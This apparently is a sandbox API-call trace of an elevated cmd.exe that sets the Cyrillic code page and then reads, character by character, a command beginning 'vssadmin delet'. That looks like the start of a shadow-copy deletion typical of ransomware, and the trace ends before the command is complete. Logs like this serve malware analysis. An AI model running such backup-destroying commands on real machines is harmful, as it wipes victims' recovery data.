	[0076.569] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x0, Size=0x28) returned 0x1c4ef516cc0
	[0076.569] FindClose (in: hFindFile=0x1c4ef511a40 | out: hFindFile=0x1c4ef511a40) returned 1
	[0076.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0x1c4ef511a40
	[0076.569] GetProcessHeap () returned 0x1c4ef510000
	[0076.569] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef516cc0, Size=0x8) returned 0x1c4ef516cc0
	[0076.569] FindClose (in: hFindFile=0x1c4ef511a40 | out: hFindFile=0x1c4ef511a40) returned 1
	[0076.569] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0076.569] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0076.569] ??_V@YAXPEAX@Z () returned 0x1
	[0076.569] GetConsoleTitleW (in: lpConsoleTitle=0x59757cf1e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0077.415] GetProcessHeap () returned 0x1c4ef510000
	[0077.415] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x21c) returned 0x1c4ef516cf0
	[0077.415] GetConsoleTitleW (in: lpConsoleTitle=0x1c4ef516d00, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0078.070] GetProcessHeap () returned 0x1c4ef510000
	[0078.070] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef516cf0, Size=0xaa) returned 0x1c4ef516cf0
	[0078.071] GetProcessHeap () returned 0x1c4ef510000
	[0078.071] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef516cf0) returned 0xaa
	[0078.071] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0078.564] GetProcessHeap () returned 0x1c4ef510000
	[0078.564] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef516cf0) returned 1
	[0078.564] InitializeProcThreadAttributeList (in: lpAttributeList=0x59757cf100, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x59757ceff0 | out: lpAttributeList=0x59757cf100, lpSize=0x59757ceff0) returned 1
	[0078.564] UpdateProcThreadAttribute (in: lpAttributeList=0x59757cf100, dwFlags=0x0, Attribute=0x60001, lpValue=0x59757cefdc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x59757cf100, lpPreviousValue=0x0) returned 1
	[0078.564] GetStartupInfoW (in: lpStartupInfo=0x59757cf090 | out: lpStartupInfo=0x59757cf090*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0078.564] GetProcessHeap () returned 0x1c4ef510000
	[0078.564] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x20) returned 0x1c4ef511a40
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0078.564] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0078.565] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0078.565] GetProcessHeap () returned 0x1c4ef510000
	[0078.565] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef511a40) returned 1
	[0078.565] GetProcessHeap () returned 0x1c4ef510000
	[0078.566] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x12) returned 0x1c4ef511a40
	[0078.566] _get_osfhandle (_FileHandle=1) returned 0x254
	[0078.566] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0078.566] _get_osfhandle (_FileHandle=0) returned 0x248
	[0078.566] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0078.566] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x59757cf020*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x59757ceff8 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x59757ceff8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xbcc, dwThreadId=0xdd0)) returned 1
	[0078.950] CloseHandle (hObject=0x98) returned 1
	[0078.950] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0078.950] GetProcessHeap () returned 0x1c4ef510000
	[0078.950] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518500) returned 1
	[0078.950] GetEnvironmentStringsW () returned 0x1c4ef518500*
	[0078.950] GetProcessHeap () returned 0x1c4ef510000
	[0078.950] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xacc) returned 0x1c4ef52b7a0
	[0078.950] FreeEnvironmentStringsA (penv="=") returned 1
	[0078.950] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffc38a60000
	[0078.950] GetProcAddress (hModule=0x7ffc38a60000, lpProcName="NtQueryInformationProcess") returned 0x7ffc38b056b0
	[0078.950] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x59757ce4f8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x59757ce4f8, ReturnLength=0x0) returned 0x0
	[0078.950] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x6dbfb82000, lpBuffer=0x59757ce530, nSize=0x7a0, lpNumberOfBytesRead=0x59757ce4f0 | out: lpBuffer=0x59757ce530*, lpNumberOfBytesRead=0x59757ce4f0*=0x7a0) returned 1
	[0078.953] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0093.810] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x59757cef78 | out: lpExitCode=0x59757cef78*=0x0) returned 1
	[0093.810] CloseHandle (hObject=0x9c) returned 1
	[0093.810] _vsnwprintf (in: _Buffer=0x59757cf148, _BufferCount=0x13, _Format="%08X", _ArgList=0x59757cef88 | out: _Buffer="00000000") returned 8
	[0093.810] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0093.810] GetProcessHeap () returned 0x1c4ef510000
	[0093.810] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef52b7a0) returned 1
	[0093.810] GetEnvironmentStringsW () returned 0x1c4ef52cd80*
	[0093.810] GetProcessHeap () returned 0x1c4ef510000
	[0093.810] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xaf2) returned 0x1c4ef52d880
	[0093.810] FreeEnvironmentStringsA (penv="=") returned 1
	[0093.810] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0093.810] GetProcessHeap () returned 0x1c4ef510000
	[0093.811] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef52d880) returned 1
	[0093.811] GetEnvironmentStringsW () returned 0x1c4ef52cd80*
	[0093.812] GetProcessHeap () returned 0x1c4ef510000
	[0093.812] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xaf2) returned 0x1c4ef52d880
	[0093.812] FreeEnvironmentStringsA (penv="=") returned 1
	[0093.812] GetProcessHeap () returned 0x1c4ef510000
	[0093.812] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef511a40) returned 1
	[0093.812] DeleteProcThreadAttributeList (in: lpAttributeList=0x59757cf100 | out: lpAttributeList=0x59757cf100) 
	[0093.812] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0093.829] ??_V@YAXPEAX@Z () returned 0x1
	[0093.829] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.829] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0093.829] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.829] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6f606fc08 | out: lpMode=0x7ff6f606fc08) returned 0
	[0093.829] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.829] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6f606fc0c | out: lpMode=0x7ff6f606fc0c) returned 0
	[0093.829] GetConsoleOutputCP () returned 0x4e3
	[0093.834] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6f606fbb0 | out: lpCPInfo=0x7ff6f606fbb0) returned 1
	[0093.834] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef516c30) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef529030) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518320) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef528fd0) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef5119f0) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518fe0) returned 1
	[0093.855] GetProcessHeap () returned 0x1c4ef510000
	[0093.855] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef516a80) returned 1
	[0093.856] GetProcessHeap () returned 0x1c4ef510000
	[0093.856] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef516a50) returned 1
	[0093.856] GetProcessHeap () returned 0x1c4ef510000
	[0093.856] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef5167b0) returned 1
	[0093.856] _vsnwprintf (in: _Buffer=0x7ff6f6077f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x59757cf528 | out: _Buffer="\r\n") returned 2
	[0093.856] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.856] GetFileType (hFile=0x254) returned 0x3
	[0093.856] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.856] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0093.856] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x59757cf4f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf4f8*=0x2, lpOverlapped=0x0) returned 1
	[0093.856] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0093.856] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4ef6e0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0093.856] _vsnwprintf (in: _Buffer=0x1c4ef6f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x59757cf538 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0093.856] _vsnwprintf (in: _Buffer=0x1c4ef6f008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x59757cf538 | out: _Buffer=">") returned 1
	[0093.856] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.856] GetFileType (hFile=0x254) returned 0x3
	[0093.856] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.856] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0093.856] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x59757cf528, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf528*=0x18, lpOverlapped=0x0) returned 1
	[0093.856] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.856] GetFileType (hFile=0x248) returned 0x3
	[0093.856] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.857] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.857] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.857] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0093.857] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.857] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.857] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.857] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0093.857] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.857] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.857] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.857] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0093.857] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.857] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.857] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.857] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0093.857] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.857] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.857] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.858] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.858] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.858] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0093.858] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
